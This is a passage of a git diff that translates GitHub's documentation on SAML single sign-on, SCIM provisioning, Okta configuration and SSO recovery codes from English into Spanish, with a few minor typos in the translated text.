+Para aprovisionar nuevos usuarios sin una invitación de un propietario de la organización, puedes usar la URL `https://github.com/orgs/ORGANIZATION/sso/sign_up`, reemplazando _ORGANIZATION_ con el nombre de tu organización. Por ejemplo, puedes configurar tu IdP para que cualquiera con acceso al IdP pueda hacer clic en el tablero del IdP para unirse a tu organización de {% data variables.product.prodname_dotcom %}.
 
-If your IdP supports SCIM, {% data variables.product.prodname_dotcom %} can automatically invite members to join your organization when you grant access on your IdP. If you remove a member's access to your {% data variables.product.prodname_dotcom %} organization on your SAML IdP, the member will be automatically removed from the {% data variables.product.prodname_dotcom %} organization. For more information, see "[About SCIM](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim)."
+Si tu IdP admite SCIM, {% data variables.product.prodname_dotcom %} puede invitar automáticamente a los miembros para que se unan a tu organización cuando les otorgas acceso en tu IdP. Si eliminas el acceso de un miembro a tu organización de {% data variables.product.prodname_dotcom %} en tu IdP de SAML, éste se eliminará automáticamente de la organización de{% data variables.product.prodname_dotcom %}. Para obtener más información, consulta la sección "[Acerca de SCIM](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim)".
 
 {% data reusables.organizations.team-synchronization %}
 
 {% data reusables.saml.saml-single-logout-not-supported %}
 
-## Further reading
+## Leer más
 
-- "[About two-factor authentication and SAML single sign-on ](/articles/about-two-factor-authentication-and-saml-single-sign-on)"
-- "[About authentication with SAML single sign-on](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on)"
+- "[Acerca de la autenticación de dos factores y el inicio de sesión único de SAML ](/articles/about-two-factor-authentication-and-saml-single-sign-on)"
+- "[Acerca de la autenticación con el inicio de sesión único de SAML](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on)"
diff --git a/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/about-scim.md b/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/about-scim.md
index b4df5f9aec..347374e29b 100644
--- a/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/about-scim.md
+++ b/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/about-scim.md
@@ -1,6 +1,6 @@
 ---
-title: About SCIM
-intro: 'With System for Cross-domain Identity Management (SCIM), administrators can automate the exchange of user identity information between systems.'
+title: Acerca de SCIM
+intro: 'Con Sistema para la administración de identidades entre dominios (SCIM), los administradores pueden automatizar el intercambio de información de identidad del usuario entre los sistemas.'
 redirect_from:
   - /articles/about-scim
   - /github/setting-up-and-managing-organizations-and-teams/about-scim
@@ -13,20 +13,20 @@ topics:
 
 {% data reusables.enterprise-accounts.emu-scim-note %}
 
-If you use [SAML SSO](/articles/about-identity-and-access-management-with-saml-single-sign-on) in your organization, you can implement SCIM to add, manage, and remove organization members' access to {% data variables.product.product_name %}. For example, an administrator can deprovision an organization member using SCIM and automatically remove the member from the organization.
+Si usas [SAML SSO](/articles/about-identity-and-access-management-with-saml-single-sign-on) en tu organización, puedes implementar SCIM para agregar, administrar y eliminar el acceso de los miembros de la organización a {% data variables.product.product_name %}. Por ejemplo, un administrador puede desaprovisionar a un miembro de la organización usando el SCIM y eliminar automáticamente el miembro de la organización.
 
-If you use SAML SSO without implementing SCIM, you won't have automatic deprovisioning. When organization members' sessions expire after their access is removed from the IdP, they aren't automatically removed from the organization. Authorized tokens grant access to the organization even after their sessions expire. To remove access, organization administrators can either manually remove the authorized token from the organization or automate its removal with SCIM.
+Si usas SAML SSO sin implementar SCIM, no tendrás un desaprovisionamiento automático. Cuando las sesiones de los miembros de la organización expiran una vez que su acceso ha sido eliminado del IdP, no se eliminan automáticamente de la organización. Los tokens autorizados otorgan acceso a la organización incluso una vez que las sesiones han expirado. Para eliminar el acceso, los administradores de la organización pueden eliminar de forma manual el token autorizado de la organización o automatizar su eliminación con SCIM.
 
-These identity providers are compatible with the {% data variables.product.product_name %} SCIM API for organizations. For more information, see [SCIM](/rest/reference/scim) in the {% ifversion ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API documentation.
+Estos proveedores de identidad son compatibles con la API de SCIM de {% data variables.product.product_name %} para organizaciones. Para obtener más información, consulta el [SCIM](/rest/reference/scim) en la documentación de la API de {% ifversion ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}.
 - Azure AD
 - Okta
 - OneLogin
 
 {% data reusables.scim.enterprise-account-scim %}
 
-## Further reading
+## Leer más
 
-- "[About identity and access management with SAML single sign-on](/articles/about-identity-and-access-management-with-saml-single-sign-on)"
-- "[Connecting your identity provider to your organization](/articles/connecting-your-identity-provider-to-your-organization)"
-- "[Enabling and testing SAML single sign-on for your organization](/articles/enabling-and-testing-saml-single-sign-on-for-your-organization)"
-- "[Viewing and managing a member's SAML access to your organization](/github/setting-up-and-managing-organizations-and-teams//viewing-and-managing-a-members-saml-access-to-your-organization)"
+- "[Acerca de la administración de identidad y el acceso con el inicio de sesión único de SAML](/articles/about-identity-and-access-management-with-saml-single-sign-on)"
+- "[Conectar tu proveedor de identidad a tu organización](/articles/connecting-your-identity-provider-to-your-organization)"
+- "[Activar y probar el inicio de sesión único de SAML para tu organización](/articles/enabling-and-testing-saml-single-sign-on-for-your-organization)"
+- "[Visualizar y administrar un acceso de SAML de un miembro a tu organización](/github/setting-up-and-managing-organizations-and-teams//viewing-and-managing-a-members-saml-access-to-your-organization)"
diff --git a/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/accessing-your-organization-if-your-identity-provider-is-unavailable.md b/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/accessing-your-organization-if-your-identity-provider-is-unavailable.md
index 61ab67a115..ea8120b83d 100644
--- a/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/accessing-your-organization-if-your-identity-provider-is-unavailable.md
+++ b/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/accessing-your-organization-if-your-identity-provider-is-unavailable.md
@@ -1,6 +1,6 @@
 ---
-title: Accessing your organization if your identity provider is unavailable
-intro: 'Organization administrators can sign into {% data variables.product.product_name %} even if their identity provider is unavailable by bypassing single sign-on and using their recovery codes.'
+title: Acceder a tu organización si tu proveedor de identidad no está disponible
+intro: 'Los administradores de la organización pueden iniciar sesión en {% data variables.product.product_name %} incluso si su proveedor de identidad no está disponible al saltear el inicio de sesión único y usar sus códigos de recuperación.'
 redirect_from:
   - /articles/accessing-your-organization-if-your-identity-provider-is-unavailable
   - /github/setting-up-and-managing-organizations-and-teams/accessing-your-organization-if-your-identity-provider-is-unavailable
@@ -9,26 +9,23 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Unavailable identity provider
+shortTitle: Proveedor de identidad no disponible
 ---
 
-Organization administrators can use [one of their downloaded or saved recovery codes](/articles/downloading-your-organization-s-saml-single-sign-on-recovery-codes) to bypass single sign-on. You may have saved these to a password manager, such as [LastPass](https://lastpass.com/) or [1Password](https://1password.com/).
+Los administradores de la organización pueden usar [uno de los códigos de reuperación descargados o guardados](/articles/downloading-your-organization-s-saml-single-sign-on-recovery-codes)para saltear un inicio de sesión único. Puedes haber guardado esto en un administrador de contraseñas tal como [LastPass](https://lastpass.com/) o [1Password](https://1password.com/).
 
 {% note %}
 
-**Note:** You can only use recovery codes once and you must use them in consecutive order. Recovery codes grant access for 24 hours.
+**Nota:** Solo puedes usar los códigos de recuperación una vez y debes usarlos en un orden consecutivo. Los códigos de recuperación garantizan el acceso durante 24 horas.
 
 {% endnote %}
 
-1. At the bottom of the single sign-on dialog, click **Use a recovery code** to bypass single sign-on.
-![Link to enter your recovery code](/assets/images/help/saml/saml_use_recovery_code.png)
-2. In the "Recovery Code" field, type your recovery code.
-![Field to enter your recovery code](/assets/images/help/saml/saml_recovery_code_entry.png)
-3. Click **Verify**.
-![Button to verify your recovery code](/assets/images/help/saml/saml_verify_recovery_codes.png)
+1. En la parte inferior del diálogo de inicio de sesión único, haz clic en **Use a recovery code** (Usar un código de recuperación) para saltear el inicio de sesión único. ![Enlace para ingresar tu código de recuperación](/assets/images/help/saml/saml_use_recovery_code.png)
+2. En el campo "Recovery Code" (Código de recuperación), escribe tu código de recuperación. ![Código para ingresar tu código de recuperación](/assets/images/help/saml/saml_recovery_code_entry.png)
+3. Da clic en **Verificar**. ![Botón para verificar tu código de recuperación](/assets/images/help/saml/saml_verify_recovery_codes.png)
 
-After you've used a recovery code, make sure to note that it's no longer valid. You will not be able to reuse the recovery code.
+Una vez que has usado un código de verificación, asegúrate de anotar que ya no es válido. No podrás volver a usar el código de recuperación.
 
-## Further reading
+## Leer más
 
-- "[About identity and access management with SAML SSO](/articles/about-identity-and-access-management-with-saml-single-sign-on)"
+- [Acerca de la administración de acceso e identidad con SAML SSO](/articles/about-identity-and-access-management-with-saml-single-sign-on)"
diff --git a/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta.md b/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta.md
index 0c2dba8ac3..c7a7bbb207 100644
--- a/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta.md
+++ b/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring SAML single sign-on and SCIM using Okta
-intro: 'You can use Security Assertion Markup Language (SAML) single sign-on (SSO) and System for Cross-domain Identity Management (SCIM) with Okta to automatically manage access to your organization on {% data variables.product.product_location %}.'
+title: Cofnigurar SCIM y el inicio de sesión único de SAML con Okta
+intro: 'Puedes utilizar el inicio de sesión único (SSO) del Lenguaje de Marcado para Confirmaciones de Seguridad (SAML) y un Sistema para la Administración de Identidad a través de los Dominios (SCIM) con Okta para administrar automáticamente el acceso a tu organización en {% data variables.product.product_location %}.'
 redirect_from:
   - /github/setting-up-and-managing-organizations-and-teams/configuring-saml-single-sign-on-and-scim-using-okta
 permissions: Organization owners can configure SAML SSO and SCIM using Okta for an organization.
@@ -9,51 +9,49 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Configure SAML & SCIM with Okta
+shortTitle: Configurar SAML & SCIM con Okta
 ---
 
-## About SAML and SCIM with Okta
+## Acerca de SAML y SCIM con Okta
 
-You can control access to your organization on {% data variables.product.product_location %} and other web applications from one central interface by configuring the organization to use SAML SSO and SCIM with Okta, an Identity Provider (IdP).
+Puedes controlar el acceso a tu organización en {% data variables.product.product_location %} y a otras aplicaciones web desde una interface central si configuras dicha organización para que utilice el SSO de SAML y SCIM con Okta, un proveedor de identidad (IdP).
 
-SAML SSO controls and secures access to organization resources like repositories, issues, and pull requests. SCIM automatically adds, manages, and removes members' access to your organization on {% data variables.product.product_location %} when you make changes in Okta. For more information, see "[About identity and access management with SAML single sign-on](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on)" and "[About SCIM](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim)."
+El SSO de SAML controla y asegura el acceso a los recursos organizacionales como los repositorios, informes de problemas y solicitudes de extracción. SCIM agrega, administra y elimina automáticamente el acceso a tu organización en {% data variables.product.product_location %} cuando haces cambios en Okta. Para obtener más información, consulta la sección "[Acerca de la administración de accesos e identidad con el inicio de sesión único de SAML](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on)" y "[Acerca de SCIM](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim)".
 
-After you enable SCIM, the following provisioning features are available for any users that you assign your {% data variables.product.prodname_ghe_cloud %} application to in Okta.
+Después de que habilites SCIM, las siguientes características de aprovisionamiento estarán disponibles para cualquier usuario al que asignes tu aplicación de {% data variables.product.prodname_ghe_cloud %} en Okta.
 
-| Feature | Description |
-| --- | --- |
-| Push New Users | When you create a new user in Okta, the user will receive an email to join your organization on {% data variables.product.product_location %}. |
-| Push User Deactivation | When you deactivate a user in Okta, Okta will remove the user from your organization on {% data variables.product.product_location %}. |
-| Push Profile Updates | When you update a user's profile in Okta, Okta will update the metadata for the user's membership in your organization on {% data variables.product.product_location %}. |
-| Reactivate Users | When you reactivate a user in Okta, Okta will send an email invitation for the user to rejoin your organization on {% data variables.product.product_location %}. |
+| Característica                    | Descripción                                                                                                                                                                                       |
+| --------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| Subir Usuarios Nuevos             | Cuando creas un usuario nuevo en Okta, este recibirá un mensaje de correo electrónico para unirse a tu organización de {% data variables.product.product_location %}.                             |
+| Subir Desactivaciones de Usuarios | Cuando desactivas a un usuario en Okta, Okta lo eliminará de tu organización en {% data variables.product.product_location %}.                                                                    |
+| Subir Actualizaciones de Perfil   | Cuando actualizas el perfil de un usuario en Okta, Okta actualizará los metadatos de la membrecía de dicho usuario de tu organización en {% data variables.product.product_location %}.           |
+| Reactivar Usuarios                | Cuando reactivas a un usuario en Okta, Okta enviará una invitación por correo electrónico al usuario para que vuelva a unirse a tu organización de {% data variables.product.product_location %}. |
 
-## Prerequisites
+## Prerrequisitos
 
 {% data reusables.saml.use-classic-ui %}
 
-## Adding the {% data variables.product.prodname_ghe_cloud %} application in Okta
+## Agregar la aplicación {% data variables.product.prodname_ghe_cloud %} en Okta
 
 {% data reusables.saml.okta-dashboard-click-applications %}
 {% data reusables.saml.add-okta-application %}
 {% data reusables.saml.search-ghec-okta %}
-4. To the right of "Github Enterprise Cloud - Organization", click **Add**.
-  ![Clicking "Add" for the {% data variables.product.prodname_ghe_cloud %} application](/assets/images/help/saml/okta-add-ghec-application.png)
+4. Da clic en **Agregar** a la derecha de "Github Enterprise Cloud - Organization". ![Dar clic en "Agregar" para la aplicación de {% data variables.product.prodname_ghe_cloud %}](/assets/images/help/saml/okta-add-ghec-application.png)
 
-5. In the **GitHub Organization** field, type the name of your organization on {% data variables.product.product_location %}. For example, if your organization's URL is https://github.com/octo-org, the organization name would be `octo-org`.
-  ![Type GitHub organization name](/assets/images/help/saml/okta-github-organization-name.png)
+5. En el campo **Organización de GitHub**, teclea el nombre de tu organización de {% data variables.product.product_location %}. Por ejemplo, si la URL de de tu organizaciòn es https://github.com/octo-org, el nombre de organizaciòn serìa `octo-org`. ![Teclear el nombre de organización de GitHub](/assets/images/help/saml/okta-github-organization-name.png)
 
-6. Click **Done**.
+6. Haz clic en **Done** (listo).
 
-## Enabling and testing SAML SSO
+## Habilitar y probar el SSO de SAML
 
 {% data reusables.saml.okta-dashboard-click-applications %}
 {% data reusables.saml.okta-applications-click-ghec-application-label %}
 {% data reusables.saml.assign-yourself-to-okta %}
 {% data reusables.saml.okta-sign-on-tab %}
 {% data reusables.saml.okta-view-setup-instructions %}
-6. Enable and test SAML SSO on {% data variables.product.prodname_dotcom %} using the sign on URL, issuer URL, and public certificates from the "How to Configure SAML 2.0" guide. For more information, see "[Enabling and testing SAML single sign-on for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization)."
+6. Habilita y prueba el SSO de SAML en {% data variables.product.prodname_dotcom %} utilizando la URL de registro, URL del emisor, y certificados pùblicos de la guìa "Còmo configurar SAML 2.0". Para obtener más información, consulta "[Habilitar y probar el inicio de sesión único para tu organización](/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization)".
 
-## Configuring access provisioning with SCIM in Okta
+## Configurar el aprovisionamiento de acceso con SCIM en Okta
 
 {% data reusables.saml.okta-dashboard-click-applications %}
 {% data reusables.saml.okta-applications-click-ghec-application-label %}
@@ -62,25 +60,22 @@ After you enable SCIM, the following provisioning features are available for any
 {% data reusables.saml.okta-enable-api-integration %}
 
 
-6. Click **Authenticate with Github Enterprise Cloud - Organization**.
-  !["Authenticate with Github Enterprise Cloud - Organization" button for Okta application](/assets/images/help/saml/okta-authenticate-with-ghec-organization.png)
+6. Da clic en **Autenticar con Github Enterprise Cloud - Ortanizaction**. ![Botón "Autenticar con GitHub Enterprise Cloud - Organization" para la aplicación de Okta](/assets/images/help/saml/okta-authenticate-with-ghec-organization.png)
 
-7. To the right of your organization's name, click **Grant**.
-  !["Grant" button for authorizing Okta SCIM integration to access organization](/assets/images/help/saml/okta-scim-integration-grant-organization-access.png)
+7. A la derecha del nombre de tu organizaciòn, da clic en **Otorgar**. ![Botón "Otorgar" para autorizar la integración de SCIM de Okta para acceder a la organización](/assets/images/help/saml/okta-scim-integration-grant-organization-access.png)
 
   {% note %}
 
-  **Note**: If you don't see your organization in the list, go to `https://github.com/orgs/ORGANIZATION-NAME/sso` in your browser and authenticate with your organization via SAML SSO using your administrator account on the IdP. For example, if your organization's name is `octo-org`, the URL would be `https://github.com/orgs/octo-org/sso`. For more information, see "[About authentication with SAML single sign-on](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on)."
+  **Nota**: si no ves tu organización en la lista, dirígete a `https://github.com/orgs/ORGANIZATION-NAME/sso` en tu buscador y autentícate con ella a través del SSO de SAML utilizando tu cuenta de administrador en el IdP. Por ejemplo, si tu nombre de organización es `octo-org`, La URL sería `https://github.com/orgs/octo-org/sso`. Para obtener más información, consulta la sección "[Acerca de la autenticación con el inicio de sesión único de SAML](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on)".
 
   {% endnote %}
-1. Click **Authorize OktaOAN**.
-  !["Authorize OktaOAN" button for authorizing Okta SCIM integration to access organization](/assets/images/help/saml/okta-scim-integration-authorize-oktaoan.png)
+1. Da clic en **Autorizar OktaOAN**. ![Botón "Autorizar a OktaOAN" para autorizar la integración de SCIM de Okta para acceder a la organización](/assets/images/help/saml/okta-scim-integration-authorize-oktaoan.png)
 {% data reusables.saml.okta-save-provisioning %}
 {% data reusables.saml.okta-edit-provisioning %}
 
-## Further reading
+## Leer más
 
-- "[Configuring SAML single sign-on for your enterprise account using Okta](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-using-okta)"
-- "[Managing team synchronization for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization#enabling-team-synchronization-for-okta)"
-- [Understanding SAML](https://developer.okta.com/docs/concepts/saml/) in the Okta documentation
-- [Understanding SCIM](https://developer.okta.com/docs/concepts/scim/) in the Okta documentation
+- "[Configurar el inicio de sesión único de SAML para tu cuenta empresarial utilizando Okta](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-using-okta)"
+- "[Administrar la sincronización de equipos para tu organización](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization#enabling-team-synchronization-for-okta)"
+- [Understanding SAML](https://developer.okta.com/docs/concepts/saml/) en la documentación de Okta
+- [Understanding SCIM](https://developer.okta.com/docs/concepts/scim/) en la documentación de Okta
diff --git a/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization.md b/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization.md
index 6917f58951..b927131963 100644
--- a/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization.md
+++ b/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Connecting your identity provider to your organization
-intro: 'To use SAML single sign-on and SCIM, you must connect your identity provider to your {% data variables.product.product_name %} organization.'
+title: Conectar tu proveedor de identidad con tu organización
+intro: 'Para usar el inicio de sesión único de SAML y SCIM, debes conectar tu proveedor de identidad con tu organización {% data variables.product.product_name %}.'
 redirect_from:
   - /articles/connecting-your-identity-provider-to-your-organization
   - /github/setting-up-and-managing-organizations-and-teams/connecting-your-identity-provider-to-your-organization
@@ -9,21 +9,21 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Connect an IdP
+shortTitle: Conectar un IdP
 ---
 
-When you enable SAML SSO for your {% data variables.product.product_name %} organization, you connect your identity provider (IdP) to your organization. For more information, see "[Enabling and testing SAML single sign-on for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization)."
+Cuando habilitas el SSO de SAML para tu organización de {% data variables.product.product_name %}, conectas tu proveedor de identidad (IdP) a ella. Para obtener más información, consulta "[Habilitar y probar el inicio de sesión único para tu organización](/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization)".
 
-You can find the SAML and SCIM implementation details for your IdP in the IdP's documentation.
+Puedes encontrar los detalles de implementación de SAML y de SCIM para tu IdP en la documentación de este.
 - Active Directory Federation Services (AD FS) [SAML](https://docs.microsoft.com/windows-server/identity/active-directory-federation-services)
-- Azure Active Directory (Azure AD) [SAML](https://docs.microsoft.com/azure/active-directory/active-directory-saas-github-tutorial) and [SCIM](https://docs.microsoft.com/azure/active-directory/active-directory-saas-github-provisioning-tutorial)
-- Okta [SAML](http://saml-doc.okta.com/SAML_Docs/How-to-Configure-SAML-2.0-for-Github-com.html) and [SCIM](http://developer.okta.com/standards/SCIM/)
-- OneLogin [SAML](https://onelogin.service-now.com/support?id=kb_article&sys_id=2929ddcfdbdc5700d5505eea4b9619c6) and [SCIM](https://onelogin.service-now.com/support?id=kb_article&sys_id=5aa91d03db109700d5505eea4b96197e)
+- Azure Active Directory (Azure AD) [SAML](https://docs.microsoft.com/azure/active-directory/active-directory-saas-github-tutorial) y [SCIM](https://docs.microsoft.com/azure/active-directory/active-directory-saas-github-provisioning-tutorial)
+- Okta [SAML](http://saml-doc.okta.com/SAML_Docs/How-to-Configure-SAML-2.0-for-Github-com.html) y [SCIM](http://developer.okta.com/standards/SCIM/)
+- OneLogin [SAML](https://onelogin.service-now.com/support?id=kb_article&sys_id=2929ddcfdbdc5700d5505eea4b9619c6) y [SCIM](https://onelogin.service-now.com/support?id=kb_article&sys_id=5aa91d03db109700d5505eea4b96197e)
 - PingOne [SAML](https://support.pingidentity.com/s/marketplace-integration/a7i1W0000004ID3QAM/github-connector)
 - Shibboleth [SAML](https://wiki.shibboleth.net/confluence/display/IDP30/Home)
 
 {% note %}
 
-**Note:** {% data variables.product.product_name %} supported identity providers for SCIM are Azure AD, Okta, and OneLogin. {% data reusables.scim.enterprise-account-scim %} For more information about SCIM, see "[About SCIM](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim)."
+**Nota:** Los proveedores de identidad que soportan {% data variables.product.product_name %} SCIM son Azure AD, Okta y OneLogin. {% data reusables.scim.enterprise-account-scim %} Para obtener más información sobre SCIM, consulta la sección "[Acerca de SCIM](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim)".
 
 {% endnote %}
diff --git a/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/downloading-your-organizations-saml-single-sign-on-recovery-codes.md b/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/downloading-your-organizations-saml-single-sign-on-recovery-codes.md
index 01040de16f..1dbbadd6f1 100644
--- a/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/downloading-your-organizations-saml-single-sign-on-recovery-codes.md
+++ b/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/downloading-your-organizations-saml-single-sign-on-recovery-codes.md
@@ -1,6 +1,6 @@
 ---
-title: Downloading your organization's SAML single sign-on recovery codes
-intro: 'Organization administrators should download their organization''s SAML single sign-on recovery codes to ensure that they can access {% data variables.product.product_name %} even if the identity provider for the organization is unavailable.'
+title: Descargar los códigos de recuperación de inicio de sesión único SAML de tu organización
+intro: 'Los administradores de la organización deben descargar los códigos de recuperación de inicio de sesión único SAML de la organización para asegurarse de poder acceder a {% data variables.product.product_name %} aun cuando el proveedor de identidad no se encuentre disponible para la organización.'
 redirect_from:
   - /articles/downloading-your-organization-s-saml-single-sign-on-recovery-codes
   - /articles/downloading-your-organizations-saml-single-sign-on-recovery-codes
@@ -10,28 +10,26 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Download SAML recovery codes
+shortTitle: Descargar los códigos de recuperación de SAML
 ---
 
-Recovery codes should not be shared or distributed. We recommend saving them with a password manager such as [LastPass](https://lastpass.com/) or [1Password](https://1password.com/).
+Los códigos de recuperación no se deben compartir ni distribuir. Te recomendamos guardarlos con un administrador de contraseñas como [LastPass](https://lastpass.com/) o [1Password](https://1password.com/).
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.security %}
-5. Under "SAML single sign-on", in the note about recovery codes, click **Save your recovery codes**.
-![Link to view and save your recovery codes](/assets/images/help/saml/saml_recovery_codes.png)
-6. Save your recovery codes by clicking **Download**, **Print**, or **Copy**.
-![Buttons to download, print, or copy your recovery codes](/assets/images/help/saml/saml_recovery_code_options.png)
+5. En "Inicio de sesión único SAML", en la nota acerca de los códigos de recuperación, haz clic en **Guardar tus códigos de recuperación**. ![Enlace para ver y guardar tus códigos de recuperación](/assets/images/help/saml/saml_recovery_codes.png)
+6. Guarda tus códigos de recuperación haciendo clic en **Download** (Descargar), **Print** (Imprimir) o **Copy** (Copiar). ![Botones para descargar, imprimir o copiar tus códigos de recuperación](/assets/images/help/saml/saml_recovery_code_options.png)
 
   {% note %}
 
-  **Note:** Your recovery codes will help get you back into {% data variables.product.product_name %} if your IdP is unavailable. If you generate new recovery codes the recovery codes displayed on the "Single sign-on recovery codes" page are automatically updated.
+  **Nota:** Tus códigos de recuperación te ayudarán a acceder nuevamente a {% data variables.product.product_name %} si tu IdP no está disponible. Si generas nuevos códigos de recuperación, los códigos de recuperación que se muestran en la página "Códigos de recuperación de inicio de sesión único" se actualizarán automáticamente.
 
   {% endnote %}
 
-7. Once you use a recovery code to regain access to {% data variables.product.product_name %}, it cannot be reused. Access to {% data variables.product.product_name %} will only be available for 24 hours before you'll be asked to sign in using single sign-on.
+7. Una vez que usas un código de recuperación para obtener acceso nuevamente a {% data variables.product.product_name %}, no puedes volver a usarlo. El acceso a {% data variables.product.product_name %} solo estará disponible durante 24 horas antes de que se te solicite que inicies sesión usando inicio de sesión único.
 
-## Further reading
+## Leer más
 
-- "[About identity and access management with SAML single sign-on](/articles/about-identity-and-access-management-with-saml-single-sign-on)"
-- "[Accessing your organization if your identity provider is unavailable](/articles/accessing-your-organization-if-your-identity-provider-is-unavailable)"
+- "[Acerca de la administración de identidad y el acceso con el inicio de sesión único de SAML](/articles/about-identity-and-access-management-with-saml-single-sign-on)"
+- "[Acceder a tu organización cuando tu proveedor de identidad no está disponible](/articles/accessing-your-organization-if-your-identity-provider-is-unavailable)"
diff --git a/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization.md b/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization.md
index 00cc0a8af6..c0bae5ad1f 100644
--- a/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization.md
+++ b/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Enabling and testing SAML single sign-on for your organization
-intro: Organization owners and admins can enable SAML single sign-on to add an extra layer of security to their organization.
+title: Habilitar y probar el inicio de sesión único SAML para tu organización
+intro: Los administradores y los propietarios de la organización pueden habilitar el inicio de sesión único SAML para agregar una capa más de seguridad a su organización.
 redirect_from:
   - /articles/enabling-and-testing-saml-single-sign-on-for-your-organization
   - /github/setting-up-and-managing-organizations-and-teams/enabling-and-testing-saml-single-sign-on-for-your-organization
@@ -9,55 +9,49 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Enable & test SAML SSO
+shortTitle: Habilitar & probar el SSO de SAML
 ---
 
-## About SAML single sign-on
+## Acerca del inicio de sesión único de SAML
 
-You can enable SAML SSO in your organization without requiring all members to use it. Enabling but not enforcing SAML SSO in your organization can help smooth your organization's SAML SSO adoption. Once a majority of your organization's members use SAML SSO, you can enforce it within your organization.
+Puedes habilitar SAML SSO (inicio de sesión único) en tu organización sin requerir que todos los miembros lo usen. Habilitar pero no exigir SAML SSO en tu organización puede facilitar la adopción de SAML SSO por parte de la organización. Una vez que la mayoría de los miembros usen SAML SSO, podrás exigirlo en toda la organización.
 
-If you enable but don't enforce SAML SSO, organization members who choose not to use SAML SSO can still be members of the organization. For more information on enforcing SAML SSO, see "[Enforcing SAML single sign-on for your organization](/articles/enforcing-saml-single-sign-on-for-your-organization)."
+Si habilitas pero no exiges SAML SSO, los miembros de la organización que elijan no usar SAML SSO pueden seguir siendo miembros de esta. Para obtener más información acerca de la exigencia de SAML SSO, consulta "[Exigir inicio de sesión único SAML para tu organización](/articles/enforcing-saml-single-sign-on-for-your-organization)".
 
 {% data reusables.saml.outside-collaborators-exemption %}
 
-## Enabling and testing SAML single sign-on for your organization
+## Habilitar y probar el inicio de sesión único SAML para tu organización
 
-Before your enforce SAML SSO in your organization, ensure that you've prepared the organization. For more information, see "[Preparing to enforce SAML single sign-on in your organization](/articles/preparing-to-enforce-saml-single-sign-on-in-your-organization)."
+Antes de requerir el SSO de SAML en tu organización, asegúrate de que la hayas preparado. Para obtener más información, consulta "[Preparación para exigir inicio de sesión único SAML en tu organización](/articles/preparing-to-enforce-saml-single-sign-on-in-your-organization)".
 
